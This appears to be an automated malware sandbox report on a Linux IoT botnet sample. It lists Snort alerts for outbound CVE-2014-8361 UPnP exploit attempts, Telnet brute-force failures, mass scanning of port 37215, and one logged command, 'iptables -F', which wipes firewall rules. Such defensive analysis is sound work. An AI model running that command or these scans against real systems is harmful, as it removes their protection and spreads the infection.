Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54450
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53472
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39368
Source: Traffic	Snort IDS: 716 INFO TELNET access 222.243.211.18:23 -> 192.168.2.23:53502
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:55584 -> 156.240.106.64:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54450
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39580
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41586 -> 156.232.95.208:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:52836
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:52836
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:37754
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:37754
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54708
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39580
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:34132 -> 156.224.191.36:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:35096 -> 156.232.92.226:52869
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:41234 -> 156.224.153.31:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54708
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37598
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39768
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 209.204.37.7:23 -> 192.168.2.23:57376
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 209.204.37.7:23 -> 192.168.2.23:57376
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54834
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:43156 -> 156.224.169.218:52869
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 124.167.223.246:23 -> 192.168.2.23:39768
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 171.119.28.35:23 -> 192.168.2.23:37692
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:53112
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:53112
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54834
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 43.231.52.137:23 -> 192.168.2.23:38056
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 43.231.52.137:23 -> 192.168.2.23:38056
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.20.222.131:23 -> 192.168.2.23:37536
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.20.222.131:23 -> 192.168.2.23:37536
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.167.223.246:23 -> 192.168.2.23:39894
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 123.21.111.201:23 -> 192.168.2.23:51250
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 123.21.111.201:23 -> 192.168.2.23:51250
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 218.173.79.111:23 -> 192.168.2.23:49508
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 218.173.79.111:23 -> 192.168.2.23:49508
Source: Traffic	Snort IDS: 716 INFO TELNET access 217.35.87.169:23 -> 192.168.2.23:49056
Source: Traffic	Snort IDS: 716 INFO TELNET access 43.230.20.243:23 -> 192.168.2.23:54968
Source: Traffic	Snort IDS: 2027339 ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound 192.168.2.23:37348 -> 156.241.9.20:52869
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 65.61.91.118:23 -> 192.168.2.23:58492
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 65.61.91.118:23 -> 192.168.2.23:58492
Source: Traffic	Snort IDS: 492 INFO TELNET login failed 43.230.20.243:23 -> 192.168.2.23:54968
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 95.71.70.178:23 -> 192.168.2.23:53310
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 95.71.70.178:23 -> 192.168.2.23:53310

Deletes all firewall rules

Source: /bin/sh (PID: 5277)

Args: iptables -F

Jump to behavior

Connects to many ports of the same IP (likely port scanning)

Source: global traffic	TCP traffic: 41.133.193.5 ports 1,2,3,5,7,52869
Source: global traffic	TCP traffic: 197.148.92.15 ports 1,2,3,5,7,37215

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41418 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 33754 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40188
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40202
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40220
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40240
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40256
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40268
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40272
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40276
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40288
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40304
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40326
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40334
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40344
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40354
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40360
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40370
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40376
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40378
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40422
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40458
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40478
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40486
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40496
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40502
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40506
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40522
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 40530
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 43156 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 59190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 59190
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56526
Source: unknown	Network traffic detected: HTTP traffic on port 37348 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56542
Source: unknown	Network traffic detected: HTTP traffic on port 51328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56554
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56570
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56582
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56594
Source: unknown	Network traffic detected: HTTP traffic on port 50996 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56612
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56622
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 56628
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 46236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50834 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48656 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41586 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 36468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48654 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58178 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 41234 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55584 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 38462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56096 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 48790 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55330 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 35096 -> 52869

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80
Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.27.35.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.206.45.17:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.223.38.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.103.171.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.106.106.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.56.62.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.148.150.72:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.85.150.89:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.158.36.3:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.33.236.165:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.6.117.221:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.213.70.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.207.114.50:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.216.202.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.44.151.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.57.109.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.140.26.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.60.153.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.246.44.139:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.26.196.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.6.66.211:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.95.96.83:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.216.219.44:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.229.33.193:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.71.118.104:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.231.138.107:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.214.230.97:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.76.34.188:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.191.121.146:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.141.199.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.239.199.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.164.189.192:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.55.170.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.197.25.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.41.41.23:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.186.193.155:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.150.131.120:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.20.36.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.224.88.73:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.96.137.169:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.93.81.214:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.39.37.132:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.116.228.254:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.75.39.78:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.142.7.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.166.28.247:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.55.1.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.236.107.244:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.134.150.205:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.75.45.63:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.97.121.49:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.79.153.59:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.143.216.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.77.90.90:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.224.246.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.64.62.145:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.214.81.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.138.248.159:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.244.20.218:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.119.144.123:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.239.140.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.204.192.137:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.246.108.176:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.192.226.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.24.187.111:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.254.114.228:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.41.249.147:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.27.9.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.232.64.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.124.118.94:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.139.226.180:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.243.66.100:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.145.114.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.28.31.46:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.245.234.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.83.166.8:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.200.141.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.29.252.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.133.12.80:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.218.24.30:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.165.201.248:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.81.191.6:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.113.216.22:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.135.124.213:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.170.250.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.230.63.127:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.154.234.25:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.91.81.20:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.168.61.231:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.137.187.229:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.229.150.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.178.245.173:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.52.27.65:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.89.1.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.202.146.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.243.59.174:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.29.6.54:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.58.85.9:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.58.156.182:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.76.181.61:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.74.228.119:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.134.187.31:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.192.166.58:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.128.84.110:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.69.46.68:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.87.28.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.170.155.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.144.4.224:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.237.81.153:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.145.2.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.62.82.157:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.193.3.114:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.221.250.88:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.74.123.241:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.173.229.191:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.187.16.1:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.32.236.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.29.166.48:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.65.227.177:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.59.129.47:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.170.63.154:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.121.235.26:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.205.233.64:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.118.37.101:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 197.201.48.158:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 41.198.169.239:37215
Source: global traffic	TCP traffic: 192.168.2.23:24197 -> 156.186.248.176:37215
